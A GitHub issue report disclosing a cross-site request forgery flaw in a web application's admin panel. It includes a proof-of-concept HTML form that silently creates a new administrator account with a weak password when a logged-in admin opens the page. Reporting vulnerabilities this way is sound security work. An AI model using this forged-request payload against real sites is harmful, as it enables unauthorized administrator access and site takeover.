Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can add the administrator account #5

Closed
hellogoldsnakeman opened this issue May 3, 2019 · 0 comments

Comments

@hellogoldsnakeman
Copy link

hellogoldsnakeman commented May 3, 2019

After the administrator logged in, open the following page can add an administrator user named admin
poc:
test.html---add an administrator user named admin

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/admin.php?c=admin&f=save" method="POST">
      <input type="hidden" name="account" value="admin" />
      <input type="hidden" name="pass" value="123456" />
      <input type="hidden" name="email" value="test&#64;163&#46;com" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="if&#95;system" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
@qinggan qinggan closed this as completed Mar 11, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants